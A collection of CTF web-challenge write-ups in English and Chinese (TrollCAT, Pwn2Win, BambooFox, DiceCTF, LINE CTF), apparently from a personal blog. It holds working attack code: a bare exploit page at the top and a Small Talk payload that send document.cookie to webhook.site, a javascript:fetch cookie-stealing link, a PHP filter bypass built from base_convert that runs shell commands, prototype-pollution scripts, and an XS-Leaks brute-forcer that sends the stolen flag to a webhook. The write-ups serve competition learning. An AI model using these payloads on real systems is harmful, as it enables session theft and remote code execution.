<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  </head>
  <body>
    <script>
      fetch('https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a?check').then(r =>r).catch(err => console.log(err))
    function run() {
      setTimeout(() => {
f.src = "https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1#depositButton"
      }, 2000)
      
    }
  </script>
    <iframe id="f" onload="run()" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1"></iframe>
  </body>

</html>

TrollCAT CTF 2021 - PDF Generator

Recently Elliot got a job as a web developer. He got a project to create a website that converts webpage into pdf but he don't know about the web app security and somehow hackers got access to admin panel content running locally. As a pentester, we need to find the flaw in the app to see admin panel.

It's a web page which can convert provided domain to pdf file:

螢幕快照 2021-02-07 上午11 52 14

According to the description it looks like SSRF, we need to access admin panel which running locally, so I guess it's http://localhost or other common ports.

I tried:

  1. http://localhost
  2. http://0.0.0.0

and it returns Not that Easy, it seems it blocks accessing local ip address.

Then I tried server side redirect it fails as well with message URL Redirecting is not Working!!

How about client redirect? We can host the html file locally and use ngrok to generate a domain.

<script>window.location = 'https://google.com?q=123'</script>

Unfortunately it doesn't work as well.

How about... iframe inside valid domain? Just like above but the html content is an iframe:

<iframe width="800" height="800" src="http://localhost"></iframe>

boom! it works!

螢幕快照 2021-02-07 上午11 59 16

We can get the flag from iframe content.

Additional note

The author of this chall published the official writeup: PDF Generator Writeup | DNS Rebinding Attack | TrollCat CTF Writeup and the expected solution is DNS rebinding (useful link).

Pwn2Win CTF 2021 - Small Talk

Small Talk

Description

Take a little break in your journey, read some of our extravagant knowledgement to become your best version...
...and, of course, share your sentences with us.

截圖 2021-05-31 上午8 36 30

Source code:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />

    <title>Share your thoughts</title>

    <link href="/static/css/style.css" rel="stylesheet">
    <script src="https://unpkg.com/shvl@latest/dist/shvl.umd.js"></script>
    <script src="https://unpkg.com/@popperjs/core@2"></script>
  </head>

  <body class="wrap --rtn">
    <div>
      <form action="/admin" method="POST" class="flex-form">
        <div id="js-usr-new" class="select__label text">Share your coach phrases with our admin</div>
        <input type="url" name="url" placeholder="address" class="ui-elem ui-elem-email text" />
        <button id="send-button" type="submit" class="ui-button text">send</button>
        <div id="send-tooltip" class="tooltip" role="tooltip">
            go ahead, click me :)
            <div class="tooltip-arrow" data-popper-arrow></div>
          </div>
      </form>
      <div id="quote" class="flex-form"></div>
    </div>
    <iframe id='#quote-base' src="/quotes"></iframe>
    <script>

      const button = document.querySelector('#send-button');
      const tooltip = document.querySelector('#send-tooltip');
      const message = document.querySelector('#quote');
    
      window.addEventListener('message', function setup(e) {
          window.removeEventListener('message', setup);
          quote = {'author': '', 'message': ''}
          shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
          shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);
          
          message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]

          const popperInstance = Popper.createPopper(button, tooltip, {
              placement: 'bottom',
              modifiers: [
                  {
                  name: 'offset',
                  options: {
                      offset: [0, 8],
                  },
                  },
              ],
          });
      });

    </script>
  </body>
</html>

quote.html

<script>
    phrases = [
        {'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
        {'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
        {'@bornrich': 'It\'s hard to beat someone that never gives up'},
        {'@businessman': 'Work while they sleep. Then live like they dream'},
        {'@bigboss': 'Life begins at the end of your comfort zone'},
        {'@daytrader': 'A successfull person never loses... They either win or learn!'}
    ]

    setTimeout(function(){
        index = Math.floor(Math.random() * 6)
        parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
    }, 0)
</script>

Writeup

First, shvl is so suspicious so I went to it's GitHub page and found that there is a prototype pollution we can leverage: robinvdvleuten/shvl#35

There is no X-Frame-Options header so we can embed index page and postMessage to it, but we need to be faster than quote.html because index page only accept first message event.

So I think the goal is to win the race and pollute some attributes to abuse Popper. But how do we do this? Let's check the source code!

When creating new Popper instance, it merges default modifiers and the modifiers user set:

https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/createPopper.js#L97

const orderedModifiers = orderModifiers(
  mergeByName([...defaultModifiers, ...state.options.modifiers])
);

And in mergeByName, it checks if property exists first:

https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/utils/mergeByName.js#L4

export default function mergeByName(
  modifiers: Array<$Shape<Modifier<any, any>>>
): Array<$Shape<Modifier<any, any>>> {
  const merged = modifiers.reduce((merged, current) => {
    const existing = merged[current.name]; // this line
    merged[current.name] = existing
      ? {
          ...existing,
          ...current,
          options: { ...existing.options, ...current.options },
          data: { ...existing.data, ...current.data },
        }
      : current;
    return merged;
  }, {});

  // IE11 does not support Object.values
  return Object.keys(merged).map(key => merged[key]);
}

So we can pollute here to override the default modifier if we need. Fortunately, we don't. Because there is a default modifier called applyStyles which adds styles and attributes to the element: https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/modifiers/applyStyles.js#L31

function applyStyles({ state }: ModifierArguments<{||}>) {
  Object.keys(state.elements).forEach((name) => {
    const style = state.styles[name] || {};

    const attributes = state.attributes[name] || {};
    const element = state.elements[name];

    // arrow is optional + virtual elements
    if (!isHTMLElement(element) || !getNodeName(element)) {
      return;
    }

    // Flow doesn't support to extend this property, but it's the most
    // effective way to apply styles to an HTMLElement
    // $FlowFixMe[cannot-write]
    Object.assign(element.style, style);

    Object.keys(attributes).forEach((name) => {
      const value = attributes[name];
      if (value === false) {
        element.removeAttribute(name);
      } else {
        element.setAttribute(name, value === true ? '' : value); // this line
      }
    });
  });
}

So we can set onfocus to the element and use hashtag to trigger the focus event.

The last thing is, how to be faster than quote.html to send message before it? The answer is, just keep sending it! I use requestAnimationFrame to send the message recursively until it reaches a limit(40 times in this case).

Final exploit, not perfect but works:

<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>XSS</title>
  </head>
  <body>
    <div>
      <iframe id="f1" name=f src="https://small-talk.coach:1337" width="500" height="700" onload="run()"></iframe>
    </div>
    <script>
      console.log('loaded')
      let count = 0
      send()

      function send() {
        f.postMessage(JSON.stringify({
            '__proto__.reference': {
              'onfocus': 'location="https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?c="+document.cookie'
            },
            message: '456'
        }), '*')
        requestAnimationFrame(() => {
          if (count++ < 40) {
            send()
          } else {
            setTimeout(() => {
              f1.src = "https://small-talk.coach:1337#quote";
              f1.src = "https://small-talk.coach:1337#send-button"
            }, 0)
          }
        })
      }

      function run() {
        console.log('iframe loaded')
      }
 
    </script>
  </body>
</html>

TrollCAT CTF 2021 - review

e-Management System

unsolved, waiting for writeup.

Password Reset

It's a login page

螢幕快照 2021-02-07 下午12 09 04

from robots.txt we can find path /admin and user/password.

But /admin returns 404 not found, I was wondering is it intended or by mistake so I asked the author and it's intended to confuse people 😂

We can use user/password to login, but after login it's just an html with no functionality. After login it sets cookie role=user, I changed it to role=admin but still not working.

I was stuck there and that's all.

official writeup: https://hackwithproxy.medium.com/password-reset-writeup-http-parameter-pollution-trollcat-ctf-writeup-2c1c2335f379

K-pop

unsolved, waiting for writeup.

It's a normal login page.

螢幕快照 2021-02-07 下午12 06 39

From robots.txt we can find this image:

code

So I tried KADMIN:admin but it fails. I was thinking that the credential might change and this purpose of this image is to tell you it uses == instead of ===.

But I stuck at there and have no idea how to proceed .

BambooFox CTF 2021 - Time to Draw

是一個畫圖然後會即時同步的網站,有附上 source code:

const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");

const app = express();
app.use(cookieParser(secret.FLAG));

let canvas = {
    ...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

app.get('/', (req, res) => {
    if (!req.signedCookies.user)
        res.cookie('user', { admin: false }, { signed: true });

    res.sendFile(__dirname + "/index.html");
});

app.get('/source', (_, res) => {
    res.sendFile(__filename);
});

app.get('/api/canvas', (_, res) => {
    res.json(canvas);
});

app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});

app.get('/promote', (req, res) => {
    if (req.query.yo_i_want_to_be === 'admin')
        res.cookie('user', { admin: true }, { signed: true });
    res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});

app.get('/flag', (req, res) => {
    let userData = { isGuest: true };
    if (req.signedCookies.user && req.signedCookies.user.admin === true) {
        userData.isGuest = false;
        userData.isAdmin = req.cookies.admin;
        userData.token = secret.ADMIN_TOKEN;
    }

    if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
        hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
        res.send(secret.FLAG);
    else
        res.send("NO");
});

app.listen(3000, "0.0.0.0");

因為最近才解了一題 prototype pollution 的題目,所以一眼就看到:if (x && y && color) canvas[x][y] = color.toString(); 跟最後一段的判斷:

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
    hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
    res.send(secret.FLAG);
else
    res.send("NO");

只要透過原型污染就可以讓 userData.token 可控,接下來只要找到正確的值就行了。

最後的解法長這樣:

var axios = require('axios')
var crypto = require('crypto')
var baseUrl = 'http://chall.ctf.bamboofox.tw:8787'
var myip = '1.1.1.1'

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
const token = '5555555555555555'

const hashValue = hash(`${myip}${token}`)

async function run() {
  await axios.get(baseUrl + '/api/draw?x=__proto__&y=token&color=' + hashValue)
  const response = await axios.get(baseUrl + '/flag?token=' + token)
  console.log(response.data)
}

run()

讓 x = __proto__,y = token,所以就會變成:canvas['__proto__']['token'] = xxx,達成 prototype pollution。

DiceCTF 2021 - Web Utils

It's a service for shorten url and pastebin:

source code:

const database = require('../modules/database');

module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}

And it's the source code for front-end:

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      const id = window.location.pathname.split('/')[2];
      if (! id) window.location = window.origin;
      const res = await fetch(`${window.origin}/api/data/${id}`);
      const { data, type } = await res.json();
      if (! data || ! type ) window.location = window.origin;
      if (type === 'link') return window.location = data;
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

First, it gets data from api and then either set content for pastebin or use window.location for redirecting user from shorten url to original url.

This chall also has a admin bot so we can assume the solution is XSS and steal cookie.

But how?

I spend some time to think about how to do XSS, because document.querySelector('div').textContent = data; is impossible to XSS.

Then I found window.origin is suspicious so I googled it and found this:What is window.origin?

It's seems we can manipulate window.origin by embed it inside an ifame. Because window.origin will return parent window origin.

But it's not the point, it's nothing to do with window.origin.

When I find this stackoverflow, it suddenly and randomly reminds me that we can use window.location to do XSS!

Like this:

window.location = javascript:alert(1)

So we can have a payload like this:

window.location = 'javascript:fetch("xxx.com?c="+document.cookie)'

Next, we need to create a shorten url with long url: javascript:fetch("xxx.com?c="+document.cookie).

But there is a validation to check if url starts with http/https:

const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
  return rep
    .code(200)
    .header('Content-Type', 'application/json; charset=utf-8')
    .send({
      statusCode: 200,
      error: 'Invalid URL'
    });

While createPaste doesn't do validation and deliberately use object destructuring:

fastify.post('createPaste', {
  handler: (req, rep) => {
    const uid = database.generateUid(8);
    database.addData({ type: 'paste', ...req.body, uid });

So we can override type and use createPaste to create url:

{
   "data":"javascript:fetch('https://aaa.com?c='+document.cookie)",
   "type":"link"
}

After we have this shorten url, we can submit the shorten url to admin bot.

When admin bot visit this url, it will run:

window.location = javascript:fetch('https://aaa.com?c='+document.cookie)

We can get the flag then.

BambooFox CTF 2021 - calc.exe online

一個計算機的程式,程式碼如下:

<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));

function is_safe($query)
{
    $query = strtolower($query);
    preg_match_all("/([a-z_]+)/", $query, $words);
    $words = $words[0];
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
    $accept_chars = str_split($accept_chars);
    $bad = '';
    for ($i = 0; $i < count($words); $i++) {
        if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
            $bad .= $words[$i] . " ";
        }
    }

    for ($i = 0; $i < strlen($query); $i++) {
        if (array_search($query[$i], $accept_chars) === false) {
            $bad .= $query[$i] . " ";
        }
    }
    return $bad;
}

function safe_eval($code)
{
    if (strlen($code) > 1024) return "Expression too long.";
    $code = strtolower($code);
    $bad = is_safe($code);
    $res = '';
    if (strlen(str_replace(' ', '', $bad)))
        $res = "I don't like this: " . $bad;
    else
        eval('$res=' . $code . ";");
    return $res;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/css/bulma.min.css">
    <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    <title>Calc.exe online</title>
</head>
<style>
</style>

<body>
    <section class="hero">
        <div class="container">
            <div class="hero-body">
                <h1 class="title">Calc.exe Online</h1>
            </div>
        </div>
    </section>
    <div class="container" style="margin-top: 3em; margin-bottom: 3em;">
        <div class="columns is-centered">
            <div class="column is-8-tablet is-8-desktop is-5-widescreen">
                <form>
                    <div class="field">
                        <div class="control">
                            <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
                        </div>
                    </div>
                </form>
            </div>
        </div>
        <div class="columns is-centered">
            <?php if (isset($_GET['expression'])) : ?>
                <div class="card column is-8-tablet is-8-desktop is-5-widescreen">
                    <div class="card-content">
                        = <?= @safe_eval($_GET['expression']) ?>
                    </div>
                </div>
            <?php endif ?>
            <a href="/?source"></a>
        </div>
    </div>
</body>

</html>

簡單來說就是針對字串進行過濾,連續的英文字必須要出現在設定好的名單裡面才行,仔細一看會發現都是跟 math 有關的 function。

除此之外也不能有不合法的字元,例如說 $,否則就會失敗。

這一題滿多人解出來的,但我一開始看到的時候沒什麼頭緒,只覺得應該會滿麻煩的。睡了一覺醒來之後再看了一次那個 function 的清單,看到了 base_convert,是進制轉換的。

回想起之前寫的 如何不用英文字母與數字寫出 console.log(1)? 那篇,其實就有講過可以透過進制轉換來產生出任意字元。

PHP 可以這樣執行程式碼:

<?php
 ("system")("ls /");
?>

所以只要能湊出 system 跟要執行的指令這兩個字串,這題就搞定了。

但要注意的是指令中會有空白跟 / 這些不能用進制轉換的字元,這怎麼辦呢?可以先湊出 chr,再用 chr 搭配 ascii code 就行了,就能產生任意字元。

最後的 payload 是這樣,組出 exec 跟 chr 然後組出指令:

(base_convert(14, 10, 36).base_convert(33, 10, 36).base_convert(14, 10, 36).base_convert(12,10,36))(base_convert(12, 10, 36).base_convert(10, 10, 36).base_convert(29, 10, 36).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(32).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(47).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(42))

話說我是手動組的,但我下次覺得應該要寫個程式才對...

LINE CTF 2021 - Your Note

Your Note

Description

螢幕快照 2021-03-22 下午8 17 40

Secure private note service
※ Admin have disabled some security feature of their browser...

Flag Format: LINECTF{[a-z0-9-]+}

source code:

from flask import Flask, flash, redirect, url_for, render_template, request, jsonify, send_file, Response, session
from flask_login import LoginManager, login_required, login_user, logout_user, current_user
from flask_wtf.csrf import CSRFProtect
from flask_sqlalchemy import SQLAlchemy
from flask_session import Session
from sqlalchemy.orm.exc import NoResultFound
from sqlalchemy.exc import IntegrityError, DataError
from sqlalchemy import or_

import json
import os
import secrets
import requests

from database import init_db, db
from models import User, Note, NoteSchema

app = Flask(__name__)
if os.getenv('APP_ENV') == 'PROD':
    app.config.from_object('config.ProdConfig')
else:
    app.config.from_object('config.DevConfig')

init_db(app)

login_manager = LoginManager()
login_manager.init_app(app)

csrf = CSRFProtect(app)

Session(app)


@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))


@login_manager.unauthorized_handler
def unauthorized():
    return redirect(url_for('login', redirect=request.full_path))


@app.before_first_request
def insert_initial_data():
    try:
        admin = User(
            username='admin',
            password=app.config.get('ADMIN_PASSWORD')
        )
        db.session.add(admin)
        db.session.commit()
    except IntegrityError:
        db.session.rollback()
        return

    admin_note = Note(
        title='Hello world',
        content=('Lorem ipsum dolor sit amet, consectetur '
        'adipiscing elit, sed do eiusmod tempor incididunt...'),
        owner=admin
    )
    db.session.add(admin_note)

    admin_note = Note(
        title='flag',
        content=app.config.get('FLAG'),
        owner=admin
    )
    db.session.add(admin_note)
    db.session.commit()


@app.route('/')
@login_required
def index():
    notes = Note.query.filter_by(owner=current_user).all()
    return render_template('index.html', notes=notes)


@app.route('/search')
@login_required
def search():
    q = request.args.get('q')
    download = request.args.get('download') is not None
    if q:
        notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
        if notes and download:
            return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
    else:
        return redirect(url_for('index'))
    return render_template('index.html', notes=notes, is_search=True)


@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username and password:
            user = User.query.filter_by(username=username).first()
            if user:
                flash('Username already exists.')
                return redirect(url_for('register'))
            user = User(
                username=username,
                password=password
            )
            db.session.add(user)
            db.session.commit()
            return redirect(url_for('login'))
        
        flash('Registeration failed')
        return redirect(url_for('register'))

    elif request.method == 'GET':
        return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    url = request.args.get('redirect')
    if url:
        url = app.config.get('BASE_URL') + url
        if current_user.is_authenticated:
            return redirect(url)

    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username and password:
            user = User.query.filter_by(username=username).first()
            if user and user.verify_password(password):
                login_user(user)
                if url:
                    return redirect(url)
                return redirect(url_for('index'))

        flash('Login failed')
        return redirect(url_for('login'))

    elif request.method == 'GET':    
        return render_template('login.html')


@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('index'))


@app.route('/note', methods=['GET', 'POST'])
@login_required
def create_note():
    if request.method == 'POST':
        title = request.form.get('title')
        content = request.form.get('content')
        try:
            if title and content:
                note = Note(
                    title=title,
                    content=content,
                    owner=current_user
                )
                db.session.add(note)
                db.session.commit()
                return redirect(url_for('note', note_id=note.id))
        except DataError:
            flash('Note creation failed')
        return redirect(url_for('create_note'))
        
    elif request.method == 'GET':
        return render_template('create_note.html')


@app.route('/note/<note_id>')
@login_required
def note(note_id):
    try:
        note = Note.query.filter_by(owner=current_user, id=note_id).one()
    except NoResultFound:
        flash('Note not found')
        return render_template('note.html')
    
    return render_template('note.html', note=note)


@app.route('/report', methods=['GET', 'POST'])
@login_required
def report():
    if request.method == 'POST':
        url = request.form.get('url')
        proof = request.form.get('proof')
        if url and proof:
            res = requests.get(
                app.config.get('CRAWLER_URL'),
                params={
                    'url': url,
                    'proof': proof,
                    'prefix': session.pop('pow_prefix')
                }
            )
            prefix = secrets.token_hex(16)
            session['pow_prefix'] = prefix
            return render_template('report.html', pow_prefix=prefix, pow_complexity=app.config.get('POW_COMPLEXITY'), msg=res.json()['msg'])
        else:
            return redirect('report')
    elif request.method == 'GET':
        prefix = secrets.token_hex(16)
        session['pow_prefix'] = prefix
        return render_template('report.html', pow_prefix=prefix, pow_complexity=app.config.get('POW_COMPLEXITY'))


if __name__ == '__main__':
    app.run('0.0.0.0')

crawler

const express = require('express');
const logger = require('morgan');
const createError = require('http-errors');
const puppeteer = require('puppeteer');
const pow = require('proof-of-work')

const app = express();
const host = process.env.APP_HOST || 'localhost:5000';
const base_url = 'http://' + host;
const username = 'admin';
const password = process.env.ADMIN_PASSWORD || 'password';
const pow_complexity = process.env.POW_COMPLEXITY || 1;

app.use(logger('dev'));

const router = express.Router();
router.get('/', async function (req, res, next) {
    const url = req.query.url;
    const proof = req.query.proof;
    const prefix = req.query.prefix;
    if (url && url.startsWith(base_url + '/') &&
        proof && prefix && verify(proof, prefix)) {
        const browser = await puppeteer.launch({
            args: [
                '--no-sandbox',
                '--disable-popup-blocking',
            ],
            headless: true,
        });
        const page = await browser.newPage();

        // login
        await page.goto(base_url + '/login');
        await page.type('input[name=username]', username);
        await page.type('input[name=password]', password);
        await Promise.all([
            page.waitForNavigation({
                waitUntil: 'domcontentloaded',
                timeout: 10000,
            }),
            page.click('button[type=submit]'),
        ]);

        // crawl
        page.goto(url).then(() => {
            res.header('Access-Control-Allow-Origin', '*');
            res.send({msg: 'Thank you for the report!'});
        }).catch((err) => {
            res.header('Access-Control-Allow-Origin', '*');
            res.send({msg: 'ng'});
        });
        setTimeout(() => {
            browser.close()
        }, 60 * 1000)
        return
    }
    res.header('Access-Control-Allow-Origin', '*');
    res.send({msg: 'ng'});
});
app.use(router);

// catch 404 and forward to error handler
app.use(function (req, res, next) {
    next(createError(404));
});

// error handler
app.use(function (err, req, res, next) {
    res.status(err.status || 500);
    res.send('error');
});

module.exports = app;

// proof-of-work verify
const verify = (proof, prefix) => {
    const verifier = new pow.Verifier({
        size: 1024,
        n: 16,
        complexity: pow_complexity,
        prefix: Buffer.from(prefix, 'hex'),
        validity: 60000
    })

    setInterval(() => {
        verifier.reset();
    }, 60000);

    return verifier.check(Buffer.from(proof, 'hex'))
}

Writeup

At first I thought we need to do XSS to steal admin's note and get the flag. But I find nowhere to perform XSS and doubt if it's posssible.

After quickly checking the source code I found a open redirect vulnerability:

@app.route('/login', methods=['GET', 'POST'])
def login():
    url = request.args.get('redirect')
    if url:
        url = app.config.get('BASE_URL') + url
        if current_user.is_authenticated:
            return redirect(url)

BASE_URL is something like http://35.200.11.35. If we pass ?redirect=.abc.com, it redirects to http://35.200.11.35.abc.com/.

It's troublesome to create a domain record, actually we can leverage username:password as well like http://35.200.11.35/login?redirect=:[email protected], redirects to http://35.200.11.35:[email protected].

So now we can redirect the admin bot to our own domain. I think I will need it at some point to run arbitrary JavaScript.

After playing around for a while I noticed that there is a search and download feature:

@app.route('/search')
@login_required
def search():
    q = request.args.get('q')
    download = request.args.get('download') is not None
    if q:
        notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
        if notes and download:
            return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
    else:
        return redirect(url_for('index'))
    return render_template('index.html', notes=notes, is_search=True)

We can send a query string q to filter the notes and download the result as json file if exists. If there is no such note, nothing happens.

I think we can use this to brute-force the flag so I tried few ways.

The first approach I tried is window.open and window.closed:

<!DOCTYPE html>
<html>
<head></head>
<body>
    <script>
      var flag = 'LINECTF{d'
      var win = window.open(`http://35.200.11.35/search?q=${flag}&download=`)
      setTimeout(() => {
        if (win.closed) {
          console.log('exist!')
        } else {
          console.log('QQ')
        }
      }, 1000)
    </script>
</body>

</html>

The idea is quite simple, if LINECTF{d exists, it triggers file download so window will be closed, otherwise open a new tab. It works for normal browser but not headless Chrome. For headless Chrome it always failed.

Another idea came to my mind is iframe + download link:

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <script>
      var q = location.hash.slice(1)
      var a =  document.createElement('a')
      a.href = `http://34.84.72.167/search?q=${q}&download=`
      a.download = true
      a.target='_blank'
      a.click()        
    </script>
</body>
</html>

We can embed above page as iframe and check if we can access iframe.contentWindow.document. if we can't it means the download has been triggered and the flag exists.

Then it fails again because of Chrome's default SameSite=Lax I guess.

Finally I gave up on thinking the solution myself, I checked XS-Leaks wiki and find the useful way I need: window.open + win.origin:

<!DOCTYPE html>
<html>
<head></head>
<body>
    <script>
      var flag = 'LINECTF{A'
      var win = window.open(`http://35.200.11.35/search?q=${flag}&download=`)
      setTimeout(() => {
        try {
          win.origin
          console.log('good!')
        } catch(err) {
          console.log('QQ')
        }
      }, 1000)
    </script>
</body>

</html>

If window is successfully opened without downloading the file, access window.origin will throw an error, otherwise it's fine.

After confirmed that it works on my local I quickly wrote a simple script to brute-forcing the flag.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<script>
  var flag = 'LINECTF{'
  var str = 'abcdefghijklmnopqrstuvwxyz0123456789-}'
  var wins = []

  function run() {
    for(let i=0; i<str.length; i++) {
      wins[i] = window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag + str[i])}&download=`)
    }

    setTimeout(() => {
      for(let i=0; i<str.length; i++) {
        try {
          console.log(wins[i].origin, str[i])
          flag+=str[i]
          fetch('webhook_url?flag=' + flag, {mode: 'no-cors'}).then().catch()
          if (str[i] !== '}') {
            run()
          }
          break;
        } catch (err) {
        }
      }
    }, 2000)
  }

  run()
</script>
</body>

</html>

I expected that I need to send it a few times to get the whole flag. It works well at first but returns weird result in the end like LINECTF{1-kn0w-oaaaa}

After keep trying for a while I realized it's a bug in my program which lead to false positive result. I think it's because I forgot to close the window! So after running for a while there are too many windows and it takes more time to load.

So I changed my program to something like this:

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<script>
  var flag = 'LINECTF{'
  var str = 'abcdefghijklmnopqrstuvwxyz0123456789-}'
  var wins = []

  function run() {
    console.log('flag:', flag)
    fetch('https://webhook.site/?start='+Math.random()+'&flag=' +flag , {mode: 'no-cors'}).then().catch();

    for(let i=0; i<str.length; i++){
      try {
        wins[i].close()  
      } catch(err) {

      }
    }

    for(let i=0; i<str.length; i++) {
      wins[i] = window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag + str[i])}&download=`)
    }

    setTimeout(() => {
      fetch('https://webhook.site?a=timeout', {mode: 'no-cors'}).then().catch()
      for(let i=0; i<str.length; i++) {
        try {
          console.log(wins[i].origin, str[i])
          flag+=str[i]
          fetch('https://webhook.site/?flag=' + flag, {mode: 'no-cors'}).then().catch()
          if (str[i] !== '}') {
            run()
          }
          break;
        } catch (err) {
        }
      }
    }, 1000)
  }

  run() 
</script>
</body>

</html>

To get updates about the progress I added few fetch for the report. And this time I remember to close the window.

It works well and get the whole flag by send it to admin bot twice.

Footnote

We don't even need open redirect for this challenge because if you send the url for downloading, headless chrome will crash and throw an exception:

Error: net::ERR_ABORTED at http://35.200.11.35/search?q=LINECTF{&download=
    at navigate (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:115:23)
    at processTicksAndRejections (internal/process/task_queues.js:97:5)
    at async FrameManager.navigateFrame (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:90:21)
